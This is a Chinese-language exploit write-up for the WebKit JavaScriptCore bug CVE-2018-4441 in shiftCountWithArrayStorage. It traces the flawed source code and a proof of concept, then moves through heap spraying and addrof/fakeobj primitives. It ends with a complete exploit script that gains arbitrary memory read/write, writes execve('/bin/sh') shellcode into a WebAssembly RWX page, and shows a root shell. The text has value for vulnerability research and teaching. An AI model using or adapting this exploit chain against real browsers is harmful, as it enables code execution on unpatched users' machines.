（CVE-2018-4441）Webkit shiftCountWithArrayStorage
==================================================

一、漏洞简介
------------

WebKit是Apple
Safari浏览器中的Web浏览器引擎，也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月，该漏洞在公开披露后，被发现影响最新版本的苹果Safari浏览器。

二、漏洞影响
------------

三、复现过程
------------

### 漏洞分析

#### 环境配置

这里我用了补丁的前一个版本 commit
`21687be235d506b9712e83c1e6d8e0231cc9adfd` , 在 ubuntu 1804
下编译，环境相关的文件都放在了[这里](https://github.com/rtfingc/cve-repo/tree/master/0x05-lokihardt-webkit-cve-2018-4441-shiftCountWithArrayStorage)

#### 漏洞描述

漏洞发生在`JSArray::shiftCountWithArrayStorage` 这个函数，根据lokihardt
的描述，除非对象的prototype 有indexed accessors 或者
proxy对象(我也不清楚是什么:( ),
否则调用到这个函数的时候`holesMustForwardToPrototype` 都会返回`false`,
本来带holes 的对象就可以进入下面的处理逻辑(总的来说就是代码写错了)

    bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
    {
        unsigned oldLength = storage->length();
        RELEASE_ASSERT(count <= oldLength);

        // If the array contains holes or is otherwise in an abnormal state,
        // use the generic algorithm in ArrayPrototype.
        if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
            || hasSparseMap() 
            || shouldUseSlowPut(indexingType())) {
            return false;
        }

        if (!oldLength)
            return true;

        unsigned length = oldLength - count;

        storage->m_numValuesInVector -= count;
        storage->setLength(length);
    //.....
    bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const
    {
        ASSERT(base->structure(vm) == this);

        if (this->mayInterceptIndexedAccesses())
            return true;

        JSValue prototype = this->storedPrototype(base);//
        if (!prototype.isObject())
            return false;
        JSObject* object = asObject(prototype);

        while (true) {
            Structure& structure = *object->structure(vm);
            if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses())
                return true;
            prototype = structure.storedPrototype(object);
            if (!prototype.isObject())
                return false;
            object = asObject(prototype);

#### poc 分析

    function main() {
        let arr = [1];

        arr.length = 0x100000;
        arr.splice(0, 0x11);

        arr.length = 0xfffffff0;
        arr.splice(0xfffffff0, 0, 1);
    }

    main();

`lokihardt` 给出了poc

    ./jsc
    >>> a=[1]
    1
    >>> describe(a)
    Object: 0x7fffaf6b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf6f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 97
    >>> a.length=0x100000
    1048576
    >>> describe(a)
    Object: 0x7fffaf6b4340 with butterfly 0x7fe0000f8448 (Structure 0x7fffaf6f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 100
    >>> a.splice(0,0x11)
    1,,,,,,,,,,,,,,,,

首先创建了一个 `ArrayWithInt32` 类型的array, length 改成`0x100000`
之后会转换成`ArrayWithArrayStorage`, 然后调用 `splice`
函数，实现在`Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1005`
的`arrayProtoFuncSplice` 函数

splice 用来删除修改array, 如 `a.splice(0, 0x11)`, 就表示从`index=0`
开始删除0x11 项， 第三个参数表示要替换的内容， 如`a.splice(0,0x11,1,1)`
表示删除 0x11 个项，然后添加两个项，内容都是1,
也可以这`a.splice(0,1,1,2,3)`
要添加的项比删除多的时候会重新分配内存。我们看一下函数具体是怎么样实现的，
这里用poc 的 `a.length=0x100000; a.splice(0,0x11)` 为例

    EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
    {
        // 15.4.4.12

        VM& vm = exec->vm();
        auto scope = DECLARE_THROW_SCOPE(vm);

        JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
        EXCEPTION_ASSERT(!!scope.exception() == !thisObj);
        if (UNLIKELY(!thisObj))
            return encodedJSValue();
        // length = 0x100000
        unsigned length = toLength(exec, thisObj);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());

        if (!exec->argumentCount()) {
    //..
        }
        // splice 第一个参数， 这里是 0
        unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
        // actualDeleteCount = 0x100000 - 0
        unsigned actualDeleteCount = length - actualStart;
        // argumentCount == 2, 进入判断， actualDeleteCount = 0x11
        if (exec->argumentCount() > 1) {
            double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
            RETURN_IF_EXCEPTION(scope, encodedJSValue());
            if (deleteCount < 0)
                actualDeleteCount = 0;
            else if (deleteCount > length - actualStart)
                actualDeleteCount = length - actualStart;
            else
                actualDeleteCount = static_cast<unsigned>(deleteCount);
        }
    //...
        // itemCount 表示要添加的 item 数量， 这里是 0 < 0x11 --> 调用 shift
        unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
        if (itemCount < actualDeleteCount) {
            shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
            RETURN_IF_EXCEPTION(scope, encodedJSValue());
        } else if (itemCount > actualDeleteCount) {
            unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
            RETURN_IF_EXCEPTION(scope, encodedJSValue());
        }
        // 把每个添加的item 内容写入
        for (unsigned k = 0; k < itemCount; ++k) {
            thisObj->putByIndexInline(exec, k + actualStart, exec->uncheckedArgument(k + 2), true);
            RETURN_IF_EXCEPTION(scope, encodedJSValue());
        }
     // 重新设置长度   
        scope.release();
        setLength(exec, vm, thisObj, length - actualDeleteCount + itemCount);
        return JSValue::encode(result);
    }

整理一下

-   `actualStart` 第一个参数，表示要开始delete 的地方

-   `actualDeleteCount` 第二个参数，要delete
    的数量，没有设置时默认是`length - actualStart`

-   itemCount

```{=html}
<!-- -->
```
-   第三个参数开始的数量

    -   `itemCount < actualDeleteCount` 会调用 shift
    -   `itemCount > actualDeleteCount` 调用 unshift

我们跟一下`shift`

    template<JSArray::ShiftCountMode shiftCountMode>
    void shift(ExecState* exec, JSObject* thisObj, unsigned header, unsigned currentCount, unsigned resultCount, unsigned length)
    {
        VM& vm = exec->vm();
        auto scope = DECLARE_THROW_SCOPE(vm);

        RELEASE_ASSERT(currentCount > resultCount);
        // 要多 delete 的数量
        unsigned count = currentCount - resultCount;

        RELEASE_ASSERT(header <= length);
        RELEASE_ASSERT(currentCount <= (length - header));

        if (isJSArray(thisObj)) {
            JSArray* array = asArray(thisObj);
            if (array->length() == length && array->shiftCount<shiftCountMode>(exec, header, count))
                return;
        }

        for (unsigned k = header; k < length - currentCount; ++k) {
            unsigned from = k + currentCount;
            unsigned to = k + resultCount;
            JSValue value = getProperty(exec, thisObj, from);
            RETURN_IF_EXCEPTION(scope, void());
            if (value) {
                thisObj->putByIndexInline(exec, to, value, true);
                RETURN_IF_EXCEPTION(scope, void());
            } else {
                bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, to);
                RETURN_IF_EXCEPTION(scope, void());
                if (!success) {
                    throwTypeError(exec, scope, UnableToDeletePropertyError);
                    return;
                }
            }
        }
        for (unsigned k = length; k > length - count; --k) {
            // 
            bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, k - 1);
            RETURN_IF_EXCEPTION(scope, void());
            if (!success) {
                throwTypeError(exec, scope, UnableToDeletePropertyError);
                return;
            }
        }
    }
    JSArray::ShiftCountForSplice` 实现在`Source/JavaScriptCore/runtime/JSArray.h:125`, `shiftCountWithAnyIndexingType` 根据 array 的类型做不同的处理，这里我们是`ArrayWithArrayStorage`, 直接调用`shiftCountWithArrayStorage
    bool shiftCountForSplice(ExecState* exec, unsigned& startIndex, unsigned count)        
    {                                                                                      
        return shiftCountWithAnyIndexingType(exec, startIndex, count);                     
    }                                                                                      
    //.................

    bool JSArray::shiftCountWithAnyIndexingType(ExecState* exec, unsigned& startIndex, unsigned count)
    {
        VM& vm = exec->vm();
        RELEASE_ASSERT(count > 0);

        ensureWritable(vm);

        Butterfly* butterfly = this->butterfly();

        switch (indexingType()) {
        case ArrayClass:
            return true;

        case ArrayWithUndecided:
            // Don't handle this because it's confusing and it shouldn't come up.
            return false;

        case ArrayWithInt32:
        case ArrayWithContiguous: {
            unsigned oldLength = butterfly->publicLength();
        //...
            return true;
        }

        case ArrayWithDouble: {
            unsigned oldLength = butterfly->publicLength();
            RELEASE_ASSERT(count <= oldLength);
            //...
            return true;
        }

        case ArrayWithArrayStorage:
        case ArrayWithSlowPutArrayStorage:
            return shiftCountWithArrayStorage(vm, startIndex, count, arrayStorage());

        default:
            CRASH();
            return false;
        }
    }

这里就是漏洞点了，前面提到`holesMustForwardToPrototype` 会返回false,
这样就会进入到后面的逻辑

    bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
    {
        unsigned oldLength = storage->length();
        RELEASE_ASSERT(count <= oldLength);

        // If the array contains holes or is otherwise in an abnormal state,
        // use the generic algorithm in ArrayPrototype.
        if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
            || hasSparseMap() 
            || shouldUseSlowPut(indexingType())) {
            return false;
        }

        if (!oldLength)
            return true;
        //count = 0x11, oldlength = 0x100000, length = 0xfffef
        unsigned length = oldLength - count;
        // m_numValuesInVector = 1, 计算之后 m_numValuesInVector = 0xfffffff0
        storage->m_numValuesInVector -= count;
        storage->setLength(length);

这里运行结束后`a.length = 0xfffef`,
`storage.m_numValuesInVector = 0xfffffff0`, 然后 poc
下一步设置`a.length = 0xfffffff0`, 这样就有
`a.length == storage.m_numValuesInVector`, 这样`hasHoles`
后续都会返回false

    bool hasHoles() const                         
    {                                             
        return m_numValuesInVector != length();   
    }

最后一步`a.splice(0xfffffff0, 0, 1);`,
`itemCount == 1 > actualDeleteCount == 0`, 于是就会进入 `unshift` 函数，
和 shift 函数类似，这里最终会进入 `JSArray`
的`unshiftCountWithArrayStorage`

因为 `storage->hasHoles()` 返回的是 false,
所以可以进入后面的判断，要添加的item 比
delete的多，那么就需要扩大原来的内存，后续的内存操作会出现问题，最终`segmentfault`

    bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
    {
    //..

        // If the array contains holes or is otherwise in an abnormal state,
        // use the generic algorithm in ArrayPrototype.
        if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
            return false;

        bool moveFront = !startIndex || startIndex < length / 2;

        unsigned vectorLength = storage->vectorLength();

        // Need to have GC deferred around the unshiftCountSlowCase(), since that leaves the butterfly in
        // a weird state: some parts of it will be left uninitialized, which we will fill in here.
        DeferGC deferGC(vm.heap);
        auto locker = holdLock(cellLock());

        if (moveFront && storage->m_indexBias >= count) {
            Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
            storage = newButterfly->arrayStorage();
            storage->m_indexBias -= count;
            storage->setVectorLength(vectorLength + count);
            setButterfly(vm, newButterfly);
        } else if (!moveFront && vectorLength - length >= count)
            storage = storage->butterfly()->arrayStorage();
        else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
            storage = arrayStorage();// 0x60 
        else {
            throwOutOfMemoryError(exec, scope);
            return true;
        }

        WriteBarrier<Unknown>* vector = storage->m_vector;

        if (startIndex) {
            if (moveFront)
                memmove(vector, vector + count, startIndex * sizeof(JSValue));
            else if (length - startIndex)
                memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
        }

        for (unsigned i = 0; i < count; i++)
            vector[i + startIndex].clear();

        return true;
    }

### 漏洞利用

okay， 漏洞发生的原因大概清楚了，我们再来看看要怎么样利用。我们可以发现
`unshiftCountWithArrayStorage` 有一个 `memmove` 的操作，
假如执行`a.splice(0x1000,0,1)`, `startIndex == 0x1000`,
`moveFront == true` , `count = 1`

    if (startIndex) {
            if (moveFront)
                memmove(vector, vector + count, startIndex * sizeof(JSValue));
            else if (length - startIndex)
                memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
        }

vector 来自前面的`storage` , 这里会进入 `storage = arrayStorage();`
重新初始化一个 storage,
可以跟踪一下`Source/JavaScriptCore/runtime/ButterflyInlines.h:77`
的`Butterfly::tryCreateUninitialized` 函数，最终分配的内存大小是
0x60(0x58 向上对齐)。但是 因为这里`startIndex`
可以控制，于是这里就可以越界做内存拷贝。

    if (moveFront && storage->m_indexBias >= count) {//m_indexBias ==0 < count ==1
            Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
            storage = newButterfly->arrayStorage();
            storage->m_indexBias -= count;
            storage->setVectorLength(vectorLength + count);
            setButterfly(vm, newButterfly);
        } else if (!moveFront && vectorLength - length >= count)// moveFront == true
            storage = storage->butterfly()->arrayStorage();
        else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
            storage = arrayStorage();// 0x60 
        else {
            throwOutOfMemoryError(exec, scope);
            return true;
        }

        WriteBarrier<Unknown>* vector = storage->m_vector;

如果内存布局像下面这样,

    vector = 0x7fe000287a78
    pwndbg> x/1000gx 0x7fe000287a78
    0x7fe000287a78: 0x00000000badbeef0      0x0000000000000000
    0x7fe000287a88: 0x00000000badbeef0      0x00000000badbeef0
    0x7fe000287a98: 0x00000000badbeef0      0x00000000badbeef0
    //..
    // 其他 object 的 butterfly,  length = 0xa
    0x7fe000287ff8: 0x00000000badbeef0      0x0000000d0000000a
    0x7fe000288008: 0x0000000000001337      0x402abd70a3d70a3d
    0x7fe000288018: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
    // vector + 0x1000
    0x7fe000288a78: 0x0000000000000000      0x0000000d0000000a
    0x7fe000288a88: 0x0000000000001337      0x402abd70a3d70a3d

memmove之后, 可以把其他object 的 `buttefly` 的 length
改了，假如可以找到这个 object， 那么就可以利用这个 object
来构造越界读写了。

    // vector
    0x7fe000287a78: 0x0000000000000000      0x00000000badbeef0
    0x7fe000287a88: 0x00000000badbeef0      0x00000000badbeef0
    // 其他 object 的 butterfly,  length = 0x1337
    0x7fe000287ff8: 0x0000000d0000000a      0x0000000000001337
    0x7fe000288008: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
    // vector + 0x1000
    0x7fe000288a78: 0x0000000d0000000a      0x0000000000001337
    0x7fe000288a88: 0x402abd70a3d70a3d      0x402abd70a3d70a3d

#### addrof 和 fakeobj 构造

首先喷一堆的object， 尝试构造出上面提到的内存布局，length都是 10，
这样新分配的内存就是 `10 * 8 + 0x10 = 0x60`, 就会和新申请的`storage`
分配在十分接近的内存上。 `spray[i]` 和 `spray[i+1]` 会连续分配

    for (let i = 0; i < 0x3000; i += 2) {                                                   
        spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];       
        spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];  // fakeobj                              
    }                                                                                       
    for (let i = 0; i < 0x3000; i += 2)                                                     
        spray[i][0] = i2f(0x1337)

然后是 splice(0x1000,0,1) 触发`memmove`, 然后找出那个被改了 size 的
object

    arr.splice(0x1000,0,1);                      

    fake_index=-1;                               
    for(let i=0;i<0x3000;i+=2){                  
        if(spray[i].length!=10){                 
           print("hit: "+i.toString(16));       
           fake_index=i;                        
           break;                               
        }                                        
    }   
    //..spray[i] ArrayWithDouble
    0x7ff000287ff8: 0x00000000badbeef0      0x0000000d0000000a
    0x7ff000288008: 0x0000000000001337      0x402abd70a3d70a3d
    0x7ff000288018: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
    0x7ff000288028: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
    0x7ff000288038: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
    0x7ff000288048: 0x402abd70a3d70a3d      0x40c77caf5c28f5c3
    // spray[i+1], ArrayWithContiguous
    0x7ff000288058: 0x7ff8000000000000      0x7ff8000000000000
    0x7ff000288068: 0x7ff8000000000000      0x0000000d0000000a
    0x7ff000288078: 0x00007fffae25d240      0x00007fffae25d280
    0x7ff000288088: 0x00007fffae25d2c0      0x00007fffae25d300
    0x7ff000288098: 0x00007fffae25d340      0x00007fffae25d380
    0x7ff0002880a8: 0x00007fffae25d3c0      0x00007fffae25d400
    0x7ff0002880b8: 0x00007fffae25d440      0x00007fffae25d480

到了这里, `spray[i][14] == spray[i+1][0]`, 往`spray[i][14]` 写一个
地址， 然后从`spray[i+1]` 取出来就会认为他是一个object,
同样可以用`spray[i][14]` 读 object 的地址， fakeobj 和 addrof
的构造就十分直接啦

    unboxed = spray[fake_index];   
    boxed = spray[fake_index+1];   
    print(describe(unboxed))       
    print(describe(boxed))         

    function addrof(obj){                 
        boxed[0] = obj;                   
        return f2i(unboxed[14]);          

    }                                     

    function fakeobj(addr){               
        unboxed[14] = i2f(addr);          
        return boxed[0];                  
    }

#### 任意地址读写 & 写 wasm getshell

接下来的利用基本上就都是通用套路了，改 `ArrayWithDouble` 的 butterfly
任意地址读写，然后找 wasm 的`rwx` 段写shellcode, 执行shellcode 完事。

### exp

完整exp 如下

    var conversion_buffer = new ArrayBuffer(8)
    var f64 = new Float64Array(conversion_buffer)
    var i32 = new Uint32Array(conversion_buffer)

    var BASE32 = 0x100000000
    function f2i(f) {
        f64[0] = f
        return i32[0] + BASE32 * i32[1]
    }

    function i2f(i) {
        i32[0] = i % BASE32
        i32[1] = i / BASE32
        return f64[0]
    }

    function user_gc() {
        for (let i = 0; i < 10; i++) {
            let ab = new ArrayBuffer(1024 * 1024 * 10);
        }
    }

    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);
    arr.length = 0xfffffff0;

    let spray = new Array(0x3000);

    for (let i = 0; i < 0x3000; i += 2) {
        spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
        spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
    }
    for (let i = 0; i < 0x3000; i += 2)
        spray[i][0] = i2f(0x1337)


    arr.splice(0x1000,0,1);

    fake_index=-1;
    for(let i=0;i<0x3000;i+=2){
        if(spray[i].length!=10){
            print("hit: "+i.toString(16));
            fake_index=i;
            break;
        }
    }

    unboxed = spray[fake_index];
    boxed = spray[fake_index+1];
    print(describe(unboxed))
    print(describe(boxed))


    function addrof(obj){
        boxed[0] = obj;
        return f2i(unboxed[14]);

    }

    function fakeobj(addr){
        unboxed[14] = i2f(addr);
        return boxed[0];
    }



    victim = [1.1];
    victim[0] =3.3;;
    victim['prop'] = 13.37;
    victim['prop'+1] = 13.37;
    print(describe(victim))
    print(addrof(victim).toString(16))

    i32[0]=100;
    i32[1]=0x01082107 - 0x10000;
    var container={
        jscell:f64[0],
        butterfly:victim,
    }
    print(describe(container))
    container_addr = addrof(container);
    hax = fakeobj(container_addr+0x10);

    var unboxed2 = [1.1];
    unboxed2[0] =3.3;

    var boxed2 = [{}]

    hax[1] = i2f(addrof(unboxed2))
    var shared = victim[1];
    hax[1] = i2f(addrof(boxed2))
    victim[1] = shared;

    var stage2={
        addrof: function(obj){
            boxed2[0] = obj;
            return f2i(unboxed2[0]);
        },
        fakeobj: function(addr){
            unboxed2[0] = i2f(addr);
            return boxed2[0];
        },
        read64: function(addr){
            hax[1] = i2f(addr + 0x10);
            return this.addrof(victim.prop);
        },
        write64: function(addr,data){
            hax[1] = i2f(addr+0x10);
            victim.prop = this.fakeobj(data)
        },
        write: function(addr, shellcode) {
            var theAddr = addr;
            for(var i=0;i<shellcode.length;i++){
                this.write64(addr+i,shellcode[i].charCodeAt())
            }
        },
        pwn: function(){
            var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
            var wasm_mod = new WebAssembly.Module(wasm_code);
            var wasm_instance = new WebAssembly.Instance(wasm_mod);
            var f = wasm_instance.exports.main;
            var addr_f = this.addrof(f);
            var addr_p = this.read64(addr_f + 0x40);
            var addr_shellcode = this.read64(addr_p);
            print(addr_f.toString(16))
            print(addr_p.toString(16))
            print(addr_shellcode.toString(16));
            shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
            this.write(addr_shellcode, shellcode);
            f();
        }
    }

    stage2.pwn()

#### 运行效果

运行效果如下

    ╰$ ./jsc exp.js
    hit: 2e5e
    Object: 0x7fffae2af690 with butterfly 0x7fe00028c078 (Structure 0x7fffaf6f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 98
    Object: 0x7fffae2af6a0 with butterfly 0x7fe00028c0e8 (Structure 0x7fffaf6f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf6c80a0]), StructureID: 99
    Object: 0x7fffae2591f0 with butterfly 0x7fe000280058 (Structure 0x7fffaf670d20:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 317
    7fffae2591f0
    Object: 0x7fffaf6c8380 with butterfly (nil) (Structure 0x7fffaf670e00:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffaf6b4000, Leaf]), StructureID: 319
    7fffae208000
    7ffff000a500
    7fffb0001000
    # id
    uid=0(root) gid=0(root) groups=0(root)
    #

\#\#参考链接

> https://xz.aliyun.com/t/7694\#toc-2
